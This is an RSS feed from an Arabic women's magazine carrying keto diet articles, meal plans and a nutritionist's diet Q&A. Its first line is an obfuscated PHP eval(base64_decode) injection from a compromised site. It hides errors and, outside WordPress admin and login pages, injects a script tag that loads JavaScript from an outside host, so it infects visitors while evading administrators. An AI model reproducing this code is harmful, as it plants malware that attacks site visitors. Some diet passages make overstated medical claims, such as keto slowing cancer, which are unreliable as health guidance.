eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ=="));
جوزال | الكيتو دايت
https://jouzal.com
مجلة نسائية عربيةWed, 18 Jan 2023 23:59:28 +0000ar
hourly
1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.pngجوزال | الكيتو دايت
https://jouzal.com
3232نظام الكيتو دايت لمدة 7 ايام شامل جدول الوجبات والأطعمة المسموحة والممنوعات
https://jouzal.com/%d9%86%d8%b8%d8%a7%d9%85-%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%af%d8%a7%d9%8a%d8%aa-%d9%84%d9%85%d8%af%d8%a9-7-%d8%a7%d9%8a%d8%a7%d9%85-%d8%b4%d8%a7%d9%85%d9%84-%d8%ac%d8%af%d9%88%d9%84-%d8%a7/
Wed, 26 May 2021 17:11:19 +0000https://jouzal.com/?p=6063نظام الكيتو دايت هو نوع نظام غذائي هدفة خساره الوزن و حرق الدهون، ويتم استخدامه بكثرة من لاعبي كمال الأجسام حيث يستعملون هذا النظام اثناء الاعداد لبطولة حتى ينشفون الشحوم حول العضلات، ويعتمد رجيم الكيتو دايت على تناول وجبات غنية بالدهون، متوسطه البروتين وقليلة الكربوهيدرات.
كيف يعمل الكيتو دايت ؟
يرتفع افراز هرمون الانسولين اذا تناولت وجبة غنية بالكاربوهيدرات وخصوصا الحلويات، كذلك يتحفز اذا احتوت معظم وجبتك علي البروتين، بينما يقل افراز الانسولين اذا احتوت وجبتك علي دهون أكثر.
أما عن زيادة هرمون الأنسولين بكميات كبيرة وباوقات طويلة خلال اليوم يسبب السمنة، و بعد سنوات طويلة يزيد نسبة الاصابة بامراض السكري والقلب والشرايين، لهذا فكرة الكيتو دايت هو انه تقليل افراز هرمون الانسولين خلال اليوم سوف يجعل الجسم يعتاد على استعمال الدهون كمصدر بديل للطاقة، حيث أن الجسم يقوم بتحويل دهون الجسم الى اجسام كيتونية يستعملها للطاقة، ومن الأجسام الكيتونية تم اصدار اسم الكيتو دايت.
وتعود الجسم على استعمال الاجسام الكيتونية ياخذ ايام واسابيع، ويحتاج إلي المزيد من الوقت حتى تتعود خلايا الجسم على الوضع الغذائي الجديد، لهذا الاكلات المفضلة والمسموحة خلال الكيتو دايت دائما نلاحظ ان الدهون به ضعف البروتين و بنفس الوقت كاربوهيدرات قليلة.
الكيتو دايت هو عبارة عن وجبات طعام تتكون من :
دهون ٧٠٪ الى ٨٠ ٪ من الوجبه الغذائية.
بروتين ٢٠٪ الى ٢٥ ٪ من الوجبة.
كاربوهيدرات ٥٪ الى ١٠ ٪ من الوجبة.
بشكل عام يتم تقليل الكاربوهيدرات قدر الامكان ونأكل دهون ضعف البروتين بوجباتك الغذائية.
مدة الساعات المسموح الاكل بها ٨ ساعات بشكل تكون متتالية مثال من ال ١٢ ظهرا الى ٨ مساء، وباقي اليوم صيام عن الطعام فقط ماء قهوة شاي اعشاب بدون اي سكر او حليب او اي اضافات اخرى والافضل هو ٦ ساعات طعام و ١٨ ساعا صيام “مرحلة متقدمة”.
الأطعمة المسموحة في نظام الكيتو
البيض بمعدل حبتين إلى ست حبات يوميا ويجب تناولها مع الصفار.
الخضروات
الغير نشوية مثل “الخيار، الخس، البروكلي، السبانخ، القرنبيط، الكوسا، الباذنجان، الكرفس، الملفوف الأخضر، والأحمر، جميع الخضار الورقية، الزيتون الأسود والأحمر والأخضر والاصفر، الفلفل الرومي الأخضر، والأحمر والأصفر، الفطر، القرع الأخضر، الجرجير، الملوخية، البقدونس، الكزبرة، شبت، السيداف، الفرفينه”.
بشكل عام كل الخضروات التي تنموا فوق الأرض والورقيات مسموحة.
الخضروات التي تحتوي على نسبة من الكربوهيدرات ويفضل التقليل منها مثل “الطماطم، البصل، الثوم، البصل الأخضر، الجزر”.
الأسماك والمأكولات البحرية
بشكل عام اللحوم البحرية مسموحة سواء كانت محفوظة أم طازجة:
أنواع اللحوم الأخرى “النقانق أو السجق الطازجة فقط ولحم البرجر المحضر منزليا والكفتة المحضرة منزليا واللحم او الدجاج المفروم بشرط ان تكون طازجة او معده منزليا”.
المكسرات
“جميع أنواع المكسرات مسموحة ما عدا الكاجو مسموح فقط بكميات صغيرة جداً في نظام الكيتو دايت “.
منتجات الألبان
انواع الجبن المختلفة التي تتميز باحتوائها على كمية قليلة من الكربوهيدرات مثل:
جبن كامل الدسم.
الجبن الازرق.
فيتا.
شيدر.
الموزريلا.
البارميزان.
كيري.
فيلادلفيا.
جودا.
ايدام.
الجبن المدخن.
جبنة اريش.
كريمة الطبخ وكريمة الخفق.
اللبنة.
الجبنة الطازجة.
القشطة الطازجة.
الزبادي المنزلي وبعد الأنواع التجارية الخالية من السكر المضاف.
ملحوظة هامة : يراعى قراءة المكونات للتأكد من خلو المنتجات أعلاه من أي إضافة زيوت نباتية.
المايونيز “يفضل الأنواع المعدة منزليا بناء على ان معظم ما يوجد في السوق يحتوي على زيوت غير مناسبة”.
المشروبات
الماء يجب تناول الماء عند الإحساس بالعطش دائما، الشاي والقهوة بكافيين او بدون، ويسمح كوب او اثنين يوميا ويفضل عدم الاكثار منها حتى لا تسبب الإمساك عند البعض، مشروب الصودا الغازي الخالي من السكر، جميع مشروبات الشاي من الأعشاب مثل مشروب القرفة، الزنجبيل، شاي أخضر، المرامية، الكركديه، ماء الورد، ماء الزهر الخ.
السكر “السكر البديل او المحلى مثل خلاصة أوراق الاستيفيا “ستيفيول غليكوزيد”، الأرثيتول، مونك فروت أو ما يعرف بامحلي فاكهة الراهب”.
التوابل جميع انواع التوابل، الهيل، الزعفران.
الصلصات مثل الخردل بشرط خلوها من السكر والنشا، الهلابينو، صلصة الصويا، صلصة الطماطم منتج يحتوي اقل من 12 كارب لكل 100 جرام، خل التفاح ويفضل خل التفاح الطبيعي مع الخمائر، الخل الأبيض، المخللات، الشطة بشرط تكون خاليه من السكر، طحينية السمسم ويفضل المعدة منزليا” ويمكن ادراجها ضمن جدول وجبات كيتو دايت عند استخدامه.
الحليب والبدائل “حليب جوز الهند، حليب اللوز، حليب كامل الدسم العضوي اقل من 200 مل للكوب الواحد”.
الملح “الملح البحري او ملح الهملايا الصخري ويستخدم الملح المكرر فقط في حال عدم توفر الأنواع الاخرى”، مريض الضغط يفضل ان يستهلك ملح منخفض الصوديوم يحتوي على كلوريد البوتاسيوم وسترات المغنيسيوم.
العصائر “عصير الأفوكادو، الفراولة، التوت الأسود المستخدم في إعدادها كريما الخفق والسكر والقشطة المسموح في الكيتو، عصير الليمون مع النعناع المضاف له محلي مسموح او ملح حسب الرغبة”.
الشوكولاتة “الكاكاو الداكن الغير مضاف له سكر او حليب وبودرة الكاكاو الخالية من سكر”.
الممنوعات في نظام كيتو دايت
تلك هي قائمة بالأطعمة الممنوع تناولها اثناء اتباع نظام الكيتو دايت :
العسل الطبيعي والصناعي، والدبس سواءً من التمر أو من الأنواع الأخرى من الفواكه.
بعض المحليات غير مناسبه للحميه برغم من وجود صفر من السعرات الحرارية فيها لعدة اسباب مثل “المالتودكسترين، اسبارتام، سكرين، شراب الصبار، الزايلتول، شراب الذرة عالي الفركتوز، البوتاسيوم اسيسولفام، السوربيتول، السكرالوز”.
النشويات “الخبز بجميع انواعه ابيض او أسمر والمعجنات، الأرز الأبيض والبني، الشوفان، المعكرونة بأنواعها، السميد، دقيق النشا، دقيق الحمص، دقيق الأرز، الشعيرية، البلاليط، الذرة، الدخن، التلبينه”، وبشكل عام الحبوب تعتبر من الممنوعات لأنها تحتوي على كمية من الكربوهيدرات.
الزيوت
الزيوت المهدرجة.
الزيوت المتحولة.
زيت بذور اللفت.
زيت تباع الشمس.
زيت الذرة.
زيت النخيل المكرر الصناعي.
زيت الكانولا ويعد من أخطر أنواع الزيوت ويعد من الزيوت المهدرجة.
الفواكه
جميع الفواكه ما عدا المسموح، قصب السكر، التمور، الزبيب، التين، البيذام، النبق، الصبار الحلو، جميع الفواكه المجففة، الفواكه الغير ناضجة مثل المانجوا والكستناء).
المشروبات الممنوعة
تلك قائمة المشروبات الممنوع تناولها اثناء اتباعك نظام كيتو دايت او حمية الكيتونية:
المشروبات الغازية
سواء كانت مشروبات دايت خاليه من السكر او مع السكر، العصائر المصنعة، مشروبات الطاقة لأنها تحتوي على كافيين وجلوكوز بنسبة عالية، يضاف إلى ذلك الألوان الصناعية، يستثنى مما ذكر ماء الصودا أو المياه الغازية الخالية من أي نكهات او إضافات او محليات.
أنواع من الخضار (البطاطس، البطاطا الحلوة، والجذور مثل الشمندر، والاكثار من اليقطين /البوبر).
البقوليات
الفول.
العدس.
الفاصوليا.
الحمص.
الترمس.
البازلاء الخضراء.
وغيرها من البقوليات.
أنواع من الأجبان
الجبن السائل الذي يحتوي على دهون نباتية.
الأجبان قليلة الدسم والمعدلة بالزيت النباتي.
الاجبان المضاف إليها سكريات وفي العادة تكون عالية الكربوهيدرات.
الروب بشرط ان لا يزيد عن خمسين جرام في اليوم الواحد، اللبن، الحليب البودرة ماعدا الحليب العضوي المسموح بكميات محدودة جدا في هذه المرحلة.
بعض الأغذية الجاهزة الممنوعة
الحلاوة الطحينية.
منتجات الصويا الغير متخمرة بأنواعها مثل بروتين الصويا.
خبز الرقاق.
الخبز العماني.
الهريس.
العرسية.
الفلافل.
الكاسترد.
الجلي.
المهلبية.
الحلوى العمانية.
الشوربة إذا كانت مكوناتها غير مسموحة مثل ماجي وكنور، مكعبات ماجي.
جميع انواع الحلويات والشكولاتة ما عدا المسموحة والخالية من السكر المضاف.
المايونيز (الذي يحتوي على سكر وزيوت مهدرجه، أو زيوت نباتية ممنوعة).
صلصة الثوم من المطاعم لأنه تحتوي على نشا.
اللحوم المعلبة
النقانق والبرجر، الكفتة، بعض أنواع اللحم المفروم لأنه تحتوي على مواد حافظه وبروتين نباتي.
جدول وجبات كيتو دايت
ننشر لكم جدول وجبات كيتو دايت مع إرفاق السعرات الحرارية لكل وجبة :
وجبة 1 : 4 بيضات مقليه بملعقه زبده او سمنة + طبق سلطه كبير مع اضافه الليمون والاملاح وملعقتين زيت زيتون.
السعرات : 653
دهون: 59 جرام.
بروتين: 24 جرام.
نشويات: 4 جرام.
وجبة 2 : فخذ ورجل او صدر الدجاج مع الجلد مطبوخه بملعقة زبدة او سمنة + طبق سلطه كبير مع اضافه الليمون والاملاح وملعقتين زيت زيتون.
السعرات : 840
دهون: 67 جرام.
بروتين: 53 جرام.
نشويات: 0 جرام.
وجبة 3 : 120 جرام كبده مطبوخه بملعقه سمنه او زبده+ طبق سلطه كبير مع اضافه الليمون والاملاح وملعقتين زيت زيتون.
السعرات : 630
دهون:53.
بروتين: 30.
نشويات: 3.
وجبة 4: 120 جرام من اللحم مطبوخه بملعقه سمنه او زبده + طبق سلطه كبير مع اضافه الليمون والاملاح وملعقتين زيت زيتون.
السعرات: 671
دهون: 61.
بروتين 30.
نشويات 0.
وجبة 5: 150 جرام من سمك السلمون مطبوخه ملعقتين سمنه او زبدة + طبق سلطة كبير مع اضافه الليمون والاملاح وملعقتين زيت زيتون.
السعرات: 576
دهون :51.
بروتين: 26.
نشويات:0.
نصائح لنظام الكيتو
يجب الالتزام بتناول 5 اكلات اساسية عند اتباع حمية الكيتو :
خل التفاح العضوي.
الخميرة الغذائية.
الخضروات الورقية.
الملح المخفف او ملح الهملايا.
الليمون.
كما يجب تطبيق تلك النصائح للحصول علي أفضل النتائج المرجوة عند اتباعك نظام الكيتو دايت :
اختار وجبتين فقط.
عند الاحساس بالجوع ارفع من كمية الدهون.
اكثر من تناول الخضروات.
ادمج معه الصيام المتقطع لاقصى استفاده.
راقب قياس محيط الخصر بجانب الميزان.
لا تلتزم فيه فترة طويلة، خذ راحة كل اسبوعين.
رجيم الكيتو دايت لمدة أسبوع
يحتوي النموذج المناسب أو الأقرب للمثالي، من رجيم الكيتو، على أقل من 50 غراماً من الكربوهيدرات يومياً، وإذا كنت تبحث عن خطة أسبوعية لأكلات كيتو، وننشر لكم عبر الفقرات التالية جدول وجبات كيتو دايت لمدة أسبوع :
يوم الأحد
الفطور: بيض مقلي في ملعقتين زبدة عدد 2 – قطع بندورة وأوراق خس.
الغداء: شريحتا لحمة مطبوخة مع بعض الجبنة والفطر وقطع أفوكادو والخس.
العشاء: شريحة من لحم السمك مطهوة بزيت الزيتون – كوب من السبانخ المطبوخ بزيت جوز الهند.
يوم الإثنين
الفطور: صحن من عجة البيض مع الفطر.
الغداء: شريحة تونة بالماء أو زيت الزيتون مع قطع من البندورة والخس فوقها.
العشاء: قطعة لحم دجاج مشوي مع أوراق الخس فوقها.
يوم الثلاثاء
الفطور: بيضة مسلوقة وملعقتا لبنة كاملة الدسم مع ثمرة فليفلة.
الغداء: قطعة دجاج مشوي – كوب من الزبادي اليوناني كامل الدسم وقليل الكربوهيدرات مع بعض الجوز وكوب سلطة خضراء.
العشاء: قطعة سمك السلمون المشوي – كوب من السبانخ المطبوخ بزيت جوز الهند مع كوب سلطة خضراء.
يوم الأربعاء
الفطور: كوب زبادي يوناني كامل الدسم وقليل الكربوهيدرات أو 3 ملاعق لبنة كاملة الدسم مع بعض حبات اللوز.
الغداء: شريحة تونة بزيت الزيتون أو الماء – حبة أفوكادو.
العشاء: صحن من كبدة الغنم أو الجمل مطهوة بزيت الزيتون مع البصل والفلفل والملح والبهارات مع كوب سلطة خضراء.
يوم الخميس
الفطور: بيضة مسلوقة مع حبة أفوكادو.
الغداء: قطعة من لحم الدجاج المشوي مع صحن من سلطة خضار تحوي “أوراق الخس مع الخيار والبندورة وثمار زيتون أخضر مع بقدونس وعصير ليمون حامض وثوم مهروس مع رشة من الملح والفلفل”.
العشاء: كفتة لحم بالفرن مضاف لها البقدونس مع كوب سلطة خضراء.
يوم الجمعة
الفطور: قطع من القرنبيط أو البندورة مع قطعة جبنة وحبة أفوكادو.
الغداء: شريحتان من لحم سمك السلمون مطبوخ بزيت الزيتون مع قطع خيار وبندورة.
العشاء: عدة كرات من اللحم المفروم وملعقتا لبنة كاملة الدسم وكوب سلطة خضراء.
نظام الكيتو دايت نشأ لعلاج الأمراض العصبية مثل الصرع.
أمراض القلب: الكيتو دايت يمكن أن يُحسن كل من مستويات الدهون في الجسم، مستويات الكوليسترول الحميد HDL، ضغط الدم، ومستوى السكر في الدم. وكلها تعتبر من عوامل الخطر الرئيسية للإصابة بأمراض القلب.
السرطان: يتم استكشاف الكيتو دايت حالياً كعلاج إضافي لعدة أنواع من السرطان، حيث أنه يساعد على إبطاء نمو الأورام.
مرض الزهايمر: قد يقلل نظام الكيتو الغذائي من أعراض مرض الزهايمر ويبطىء تقدمه.
الصرع: أظهرت الأبحاث أن النظام الغذائي الكيتوني يمكن أن يسبب انخفاضاً كبيراً في نوبات الصرع عند الأطفال.
مرض الشلل الرعاش (باركنسون): وجدت إحدى الدراسات أن الكيتو دايت ساعد في تحسين أعراض مرض الشلل الرعاش.
متلازمة المبيض المتعدد الكيسات: الكيتو دايت يمكن أن يساعد في تقليل مستويات الأنسولين، والتي قد تلعب دورا رئيسياً في متلازمة المبيض المتعدد الكيسات.
إصابات الدماغ: وجدت إحدى الدراسات التي أجريت على الحيوانات أن الكيتو دايت يمكن أن يقلل من آثار إصابات الدماغ الرضية ويساعد على التعافي بعد إصابة الدماغ.
حب الشباب: انخفاض مستويات الأنسولين وتناول كميات أقل من السكريات و الأطعمة المُصنعة قد يساعد في الوقاية من ظهور حب الشباب.
]]>رجيم سامي البدر السريع لخسارة 20 كيلو في شهرين بدون حرمان
https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%b3%d8%a7%d9%85%d9%8a-%d8%a7%d9%84%d8%a8%d8%af%d8%b1-%d8%a7%d9%84%d8%b3%d8%b1%d9%8a%d8%b9-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-20-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a/
Sun, 23 May 2021 15:55:08 +0000https://jouzal.com/?p=6043رجيم سامي البدر.. يتجه الطب الحديث إلى أهمية الغذاء، بوصفه جزءا من الوقاية والعلاج لكثير من الأمراض، وخصوصا بعد توسع الاعتماد على الأغذية الجاهزة، والاضرار التي تسببها، وخلال استضافة موقع الأنباء لأخصائي التغذية والطب الرياضي، في مستشفى طيبة في ديوانية الأنباء للرد على أسئلة القراء، اكد ان الغذاء الافضل هو الغذاء الصحي الذي يعتمد على الخضار، والفواكه، والبقوليات والأسماك.
وشدد على أن الغذاء الصحي والشاي الأخضر يعتبرون دواء لكثير من الأمراض. ونصح البدر بممارسة الرياضة، لأنها تساعد على حرق السعرات الحرارية، موضحا ان حرق السعرات يستمر بعد التمرين لمدة 24 ساعة.
وحول مخاطر الاعتماد على الاغذية المشبعة بالدهون وبالاملاح، اوضح انها عامل اساسي في الاصابة بارتفاع ضغط الدم والسمنة، مشيرا الى ان الصيام هو افضل طريقة لتنظيف الامعاء، وإعادة الجسم الى صحته وإراحة الجهاز الهضمي، كما نصح بشرب الشاي الأخضر والأبيض، لأنهما يساعدان على تنظيف الجسم من السموم.
اجابات الدكتور سامي البدر
ونستعرض عليكم اجابات الدكتور سامي البدر علي المتابعين، والتي تعد في غاية الأهمية لمن يرغب في فقدان الوزن بشكل صحي وآمن:
زياد: ما الطب الرياضي ومدى أهيمته؟
الإجابة: التغذية الرياضية تغذية مهمة جدا من خلالها يتعلم الرياضي ما الأكلات التي تناسب جسمه وما الأكلات التي تلعب دورا في ممارسته للرياضة من ناحية التخزين والهدف الأسمى، كيف تجعله يحقق أفضل أداء وقت البطولات وإحرازها فذلك يأتي بتهيئة الرياضي بأن يكون مستعدا من ناحية تغذية جسمه بحيث يكون لديه كل العناصر الغذائية ما يجعله على أفضل حال في وقت المنافسة اي يستطيع ان ينافس في أفضل حالة جسمانية تساعده على تحقيق النتائج المرجوة.
دلال: من عشرة أيام، وأنا انتاول فول الصويا قبل الوجبة الاساسية وهي الغداء، سمعت أن تناوله يوميا مضر ولكن عندما قرأت عنه وجدت أنه مفيد، وأريد أن أخذ رأيك في ذلك.
الإجابة: لا يوجد مانع من تناوله يوميا أو كل يومين فمن ذكر لك انه غير جيد فربما لان به استروجين قد يؤثر على هرمونات المرأة ولكن ليس به مضرة.
سامح: ما العلاجات التي يقدمها الطب الرياضي؟
الإجابة: هو ليس طبا رياضيا انما هو تغذية رياضية كعلاجات، فالتغذية علاج للعديد من الأمراض ليست وحدها وإنما كجزء لا يتجزأ من الطب، أو الطب المساعد فالتغذية تمنع حدوث العديد من الأمراض وتأتي كوقاية لعدة أمراض، منها السمنة والسكر وارتفاع ضغط الدم، وتأتي لعلاج هذه الأمراض مع الأدوية التقليدية والطب الحديث، فهذه هي أهمية التغذية والهدف الأساسي هو الوقاية قبل الدخول في الأمراض.
خدمات التغذية الرياضية
نطرح لكم بعض من الاسئلة التي وجهت للدكتور سامي البدر عن التغذية الرياضية السليمة كالتالي:-
إيمان: أريد ان أنزل 20 كغم في شهرين ليس عندي وقت لممارسة الرياضة؟
الإجابة: لا نفضل ان تنزلي 20 كغم في شهرين، فالنزول السريع يسبب مشكلة فبإمكانك ان تنزلي هذا الوزن، ولكن قد يعود بعد شهر، كما ان النزول السريع قد يؤثر سلبا على القلب وقد يؤثر على وظائف أخرى بالجسم، كما انه يؤثر على عملية الايض فإذا كان الجسم يحرق قبل بداية الريجيم 3000 سعرة حرارية باليوم، فالريجيم القاسي يخفضها من 3000 سعرة إلى 1500 أو 1250 سعرة حرارية فيبطئ عملية الجسم كلها، وهذه تؤثر عليه حتما في مشوار النزول، فننصح بإنزال 4 ـ 6 كيلوغرامات بالشهر، وهذا هو النزول الصحي.
حاولي ان تبدأي في عادات غذائية سليمة، وحاولي ان تغيري من عاداتك الغذائية غير الصحية خطوة بخطوة فأهمية الرياضة ليست فقط في إنزال الوزن فأي شخص يستطيع إنزال وزنه دون ان يلعب رياضة، ولكن يستحيل الحفاظ على الوزن دون ممارسة الرياضة.
فالرياضة في بداية الريجيم مهمة لأنها تعطي نتائج أفضل فعدة دراسات أثبتت ان الغذاء الصحي مع الرياضة، هما أفضل طريقة لنزول الوزن واذا أردت الحفاظ على وزنك بعد النزول، فدون ممارسة الرياضة يستحيل ان تحافظي عليه وسيعود ثانية الى ما كان عليه، فهذه هي أهمية الرياضة في النزول، وأهمية الرياضة في المحافظة على الوزن.
رجيم الغدة الدرقية
حنان: أنا شايلة الغدة الدرقية بالكامل، أريد ريجيما لإنقاص وزني؟
هناك ريجيم للغدة الدرقية فإذا أزلتيها فمن المؤكد ان هناك أقراصا تتناولينها لمعادلة الوظائف البديلة عن الغدة، وهناك أكثر من ريجيم غذائي صحي تستطيعين ان تسيري عليه، يعتمد على العادات وعلى أمور أخرى، ولكن مريض الغدة الدرقية عادة يكون نزول وزنه بطيئا، ويحتاج الأمر الى صبر وطول بال، وعموما لا يوجد مانع من نزول وزنك.
ام أنور: انا أكثر من تناول الارز والخبز، هل أستطيع المحافظة على وزني؟
نعم تستطيعين على الرغم من ان الأرز والخبز من الأشياء التي تساعد على زيادة الوزن، فأي كمية صغيرة منهم تكون عالية في السعرات الحرارية، وعالية في النشويات، فالجسم يحتاج إلى كربوهيدرات ونشويات بعدد معين يوميا وإذا لم يحرقه الجسم، سيتخزن ويتحول إلى دهون ولكنك تستطيعين المحافظة على وزنك، إذا تناولت كميات قليلة جدا.
نظام دايت بعد الولادة
غادة: بعد الولادة بعام بدأ وزني في الزيادة فأرجو مساعدتي، وزني الآن 74 كيلوغراما وطولي 164سم وأريد نظام دايت يكون بسيطا ؟
يوجد أكثر من نظام ولكن ليس دايت سريع أو دايت عام ويعتبر لجميع الأشخاص، فكل شخص طريقته تختلف عن الآخر، ومدى تحمله يختلف عن الآخر وأي نظام «دايت» يجب أن يناسب الشخص الذي يتبعه، بينما الحامل سهل عليها إنقاص وزنها والعديد من الحوامل بعد الولادة بستة شهور، أو سبعة أو ثمانية تنزل أوزانهن إلى ما قبل الولادة، ولكن كريجيم وحمية يعتمد على الشخص نفسه وعلى عاداته الغذائية، وخطوة خطوة يستطيع ان يصل إلى هدفه.
أكرم: هل صحيح أن فصل الصيف هو الأفضل لاتباع حمية غذائية؟
نعم، فصل الصيف هو الأفضل لأن الجو يكون حارا عادة، والجو البارد يجعل الناس يمكثون في المنزل وحركتهم تقل ونحن في الكويت على وجه الخصوص لدينا عادات غذائية في فصل الشتاء سواء كانت طلعة البر أو الجلوس بالشاليه الذي تقل فيه الحركة، وكمية الأكل عادة تزداد لأن الجسم يريد المحافظة على حرارته فيحتاج للغذاء أكثر وفي نفس الوقت يحرق الجسم أكثر في البرد من الحر لذلك فصل الصيف هو فرصة للتحرك اكثر، وإنزال الوزن.
إزالة السموم من الجسم
جميل: ماذا علينا أن نفعل لإزالة السموم من أجسامنا؟
هناك عدة طرق، والطريقة الأفضل هي اتباع نظام غذائي صحي فعلينا في البداية ألا تدخل السموم إلى أجسامنا، وهي تدخل من خلال عدة وسائل، منها التلوث البيئي، وهذا ليس لنا سيطرة عليه. هناك أمور لنا سيطرة عليها كالغذاء الذي نتناوله في البيت، وكذلك الشراب والكولا، والمواد الحافظة أو السامة، علينا ألا ندخلها إلى أجسامنا بالأساس.
وأفضل طريقة هي التخلص منها وكذلك المواد العضوية وهي الخضار والفاكهة التي تكون مرشوشة بالمبيدات، علينا غليها جيدا. أيضا هناك طرق تجعلنا نتخلص من السموم كشرب الشاي الأخضر والشاي الأبيض، تساعد في تنظيف الجسم من السموم. وكذلك الفواكه والخضار فهي من أفضل المنتجات الغذائية لإزالة السموم فكل فاكهة بها ما يقارب 100 أو 200 عنصر غذائي وما نعرفه عنها هو 15-20 عنصرا.
وهناك 100 او 200 عنصر الى الآن لا يعرف الطب ما هي، فهناك العديد من العناصر الغذائية وهناك اعشاب تستخدم للتخلص من السموم كالكركديه والكاموميل، والشاي الابيض والاخضر، كل هذه تساعد على تخلص الجسم من السموم.
رجيم سامي البدر السريع
نذكر لكم عبر مجلتنا “جوزال” نظام رجيم لإنقاص الوزن وحرق دهون 20 كيلو في فترات متفاوتة علي حسب سرعة حرق الجسم للدهون، ونرجوا منكم متابعينا الاعزاء عدم اتباع اي دايت دون استشارة الطبيب المختص:
وجبة الإفطار
1 بيضة +نص رغيف بلدي +شرايح خيار +شاي أخضر أو 1 قطعة جبن قريش بالخيار + نص رغيف بلدي + كوب لبن.
وجبة الغذاء
وتتكون وجبة الغداء من “نشويات +بروتين +خضار +فاكهة” كالتالي:
النشويات
يتم اختيار وجبة واحدة من الوجبات التالية:
ربع رغيف بلدي أو 4 معالق رز أو مكرونه لو مطبوخه بشكل عادي.
9 معالق رز أو مكرونه لو مسلوقه بدون سمن او زيت.
2 توست بني أو رغيف عيش سن 2 الخضار.
يمكنك تناول كل البنود التالية:
سلطه خضراء.
خضار ني في ني او مسلوق بدون سمنة او زيت.
كوسة.
فاصوليا خضراء.
بامية.
سبانخ.
5 معالق من الخضار المسبك المطبوخ.
البروتين
يتم اختيار وجبة واحدة من الآتي:
نص فرخة مشوية او مسلوقة.
صنيية بالفرن بدون اي دهون.
2 شريحه لحمه بقري.
2 سمكة مشوية.
علبة تونة بدون زيوت.
2 بيضه مسلوقة.
ربع كيلو جبنة قريش.
طاجن جمبري او سبيط بدون زيت “مرة في الأسبوع”.
4 سوسيس مشوي او مسلوق بدون دهون.
نص كيلو كفتة مشوية لحم صافي بدون دهون.
المسموحات في الرجيم
يسمح بتناول 2 ملعقة سكر يومياً.
يسمح بكوب لبن خالي الدسم المراعي او بيتي يومياً.
يمكنك تناول الخيار والخس والجزر باي كميه بين الواجبات.
وجبة العشاء
يجب اختيار وجبة عشاء واحدة من الآتي:
1 علبة زبادي بالليمون + خيار وخس بأي كمية.
2 علبة تونة بدون زيت + سلطة بالليمون.
3 ثمرات فاكهة + زبادي بالليمون.
]]>الكيتو دايت بالتفصيل اسرع طريقة لحرق الدهون وتخسيس 20 كيلو في شهرين
https://jouzal.com/%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%af%d8%a7%d9%8a%d8%aa-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d8%a7%d8%b3%d8%b1%d8%b9-%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d9%84%d8%ad%d8%b1%d9%82-%d8%a7%d/
Sat, 10 Oct 2020 17:10:28 +0000https://jouzal.com/?p=4607الكيتو دايت بالتفصيل من أكثر الكلمات بحثا عن رغبة الأشخاص في التعرف علي المزيد عن الرجيم الكيتوني، حيث اصبح ذلك النظام الغذائي الأكثر شهرة عالمياً في عالم التخسيس والرشاقة، ويتبع تلك الحمية ملايين الأشخاص حول العالم، لفقدان المزيد من الكيلوجرامات الزائدة دون التعرض لمشاكل صحية وجسدية، واهم مايميزه انه يعد اسلوب حياة، لأن الجسم يتمكن من التكيف مع الحالة الكيتوزية عند الوصول إليها، ولكن ننصحكم بشدة في التعرف والقراءة علي رجيم الكيتو قبل تطبيقه، ومعرفة الفوائد والأضرار، واليوم سوف نعرض لكم في هذا التقرير اسرع طريقة لتنزيل الوزن عند اتباع رجيم الكيتو دايت .
اسرع طريقة لنزول الوزن عند اتباع الكيتو دايت
الكثير من المهتمين بالرجيم الكيتوني يجدون أنهم بالرغم من تطبيقه لا يأتي بثماره المنشودة، وهذا في الواقع راجع لعدة أخطاء يرتكبونها دون أن يدركون ذلك، ولكى تتمكن من الحصول على أسرع طريقة لنزول الوزن عند اتباع الرجيم الكيتوني يجب على متبعيه الالتزام بالقواعد التالية ليكلل الرجيم الكيتوني بالنجاح، وهي كالتالي:-
الحد من تناول البروتين
